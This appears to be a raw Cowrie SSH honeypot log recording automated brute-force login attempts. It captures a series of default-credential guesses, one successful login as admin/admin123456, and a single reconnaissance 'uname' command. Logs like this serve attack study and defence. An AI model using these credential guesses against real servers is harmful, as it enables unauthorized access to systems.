{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:57.885231Z","src_ip":"192.109.200.237","session":"1d32c3027306","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aaa","password":"123456","message":"login attempt [aaa/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:58.132318Z","src_ip":"192.109.200.237","session":"1d32c3027306","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:59.296812Z","src_ip":"192.109.200.237","session":"1d32c3027306","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":43124,"dst_ip":"159.203.135.109","dst_port":22,"session":"80616c8d6e50","protocol":"ssh","message":"New connection: 192.109.200.237:43124 (159.203.135.109:22) [session: 80616c8d6e50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:16:01.211742Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:16:01.216956Z","src_ip":"192.109.200.237","session":"80616c8d6e50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:16:01.302284Z","src_ip":"192.109.200.237","session":"80616c8d6e50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab","password":"gitlab","message":"login attempt [gitlab/gitlab] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:16:01.706499Z","src_ip":"192.109.200.237","session":"80616c8d6e50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:16:02.795928Z","src_ip":"192.109.200.237","session":"80616c8d6e50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":43138,"dst_ip":"159.203.135.109","dst_port":22,"session":"ef4a0eb32142","protocol":"ssh","message":"New connection: 192.109.200.237:43138 (159.203.135.109:22) [session: ef4a0eb32142]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:16:04.952776Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:16:04.958175Z","src_ip":"192.109.200.237","session":"ef4a0eb32142","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:16:05.042606Z","src_ip":"192.109.200.237","session":"ef4a0eb32142","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.21610403060913,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:16:05.107352Z","src_ip":"50.6.8.71","session":"122e47ce9669","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"aa123456","message":"login attempt [root/aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:16:05.299274Z","src_ip":"192.109.200.237","session":"ef4a0eb32142","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:16:06.385875Z","src_ip":"192.109.200.237","session":"ef4a0eb32142","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":43144,"dst_ip":"159.203.135.109","dst_port":22,"session":"4dfdd7b2c398","protocol":"ssh","message":"New connection: 192.109.200.237:43144 (159.203.135.109:22) [session: 4dfdd7b2c398]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:16:08.445107Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:16:08.449774Z","src_ip":"192.109.200.237","session":"4dfdd7b2c398","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:16:08.532830Z","src_ip":"192.109.200.237","session":"4dfdd7b2c398","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ducc0x","password":"phuvanduc","message":"login attempt [ducc0x/phuvanduc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:16:08.779016Z","src_ip":"192.109.200.237","session":"4dfdd7b2c398","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:16:09.865593Z","src_ip":"192.109.200.237","session":"4dfdd7b2c398","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":53940,"dst_ip":"159.203.135.109","dst_port":22,"session":"274d2c330551","protocol":"ssh","message":"New connection: 192.109.200.237:53940 (159.203.135.109:22) [session: 274d2c330551]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:16:11.875925Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:16:11.880695Z","src_ip":"192.109.200.237","session":"274d2c330551","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:16:11.962586Z","src_ip":"192.109.200.237","session":"274d2c330551","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pg","password":"pg","message":"login attempt [pg/pg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:16:12.355662Z","src_ip":"192.109.200.237","session":"274d2c330551","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:16:13.440099Z","src_ip":"192.109.200.237","session":"274d2c330551","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":53962,"dst_ip":"159.203.135.109","dst_port":22,"session":"d35102c5cfaa","protocol":"ssh","message":"New connection: 192.109.200.237:53962 (159.203.135.109:22) [session: d35102c5cfaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:16:15.529433Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:16:15.534240Z","src_ip":"192.109.200.237","session":"d35102c5cfaa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:16:15.616698Z","src_ip":"192.109.200.237","session":"d35102c5cfaa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"backuply","password":"123456","message":"login attempt [backuply/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:16:15.865170Z","src_ip":"192.109.200.237","session":"d35102c5cfaa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:16:16.951324Z","src_ip":"192.109.200.237","session":"d35102c5cfaa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":57104,"dst_ip":"10.17.0.5","dst_port":22,"session":"e5b9059c4aa7","protocol":"ssh","message":"New connection: 51.250.105.222:57104 (10.17.0.5:22) [session: e5b9059c4aa7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:16:17.444597Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:16:17.449455Z","src_ip":"51.250.105.222","session":"e5b9059c4aa7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:16:17.575165Z","src_ip":"51.250.105.222","session":"e5b9059c4aa7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"carolina","message":"login attempt [root/carolina] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:16:17.955053Z","src_ip":"51.250.105.222","session":"e5b9059c4aa7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":53966,"dst_ip":"159.203.135.109","dst_port":22,"session":"cafd27cc0fcb","protocol":"ssh","message":"New connection: 192.109.200.237:53966 (159.203.135.109:22) [session: cafd27cc0fcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:16:18.932830Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:16:18.937735Z","src_ip":"192.109.200.237","session":"cafd27cc0fcb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:16:19.019216Z","src_ip":"192.109.200.237","session":"cafd27cc0fcb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:16:19.082476Z","src_ip":"51.250.105.222","session":"e5b9059c4aa7","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin123456","message":"login attempt [admin/admin123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:16:19.271327Z","src_ip":"192.109.200.237","session":"cafd27cc0fcb","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:16:19.481411Z","src_ip":"192.109.200.237","session":"cafd27cc0fcb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:16:19.483831Z","src_ip":"192.109.200.237","session":"cafd27cc0fcb","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:16:19.567986Z","src_ip":"192.109.200.237","session":"cafd27cc0fcb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:16:19.572420Z","src_ip":"192.109.200.237","session":"cafd27cc0fcb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":60602,"dst_ip":"10.17.0.5","dst_port":22,"session":"bb2d48084104","protocol":"ssh","message":"New connection: 94.159.98.239:60602 (10.17.0.5:22) [session: bb2d48084104]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:16:22.113285Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:16:22.117979Z","src_ip":"94.159.98.239","session":"bb2d48084104","protocol":"ssh"}
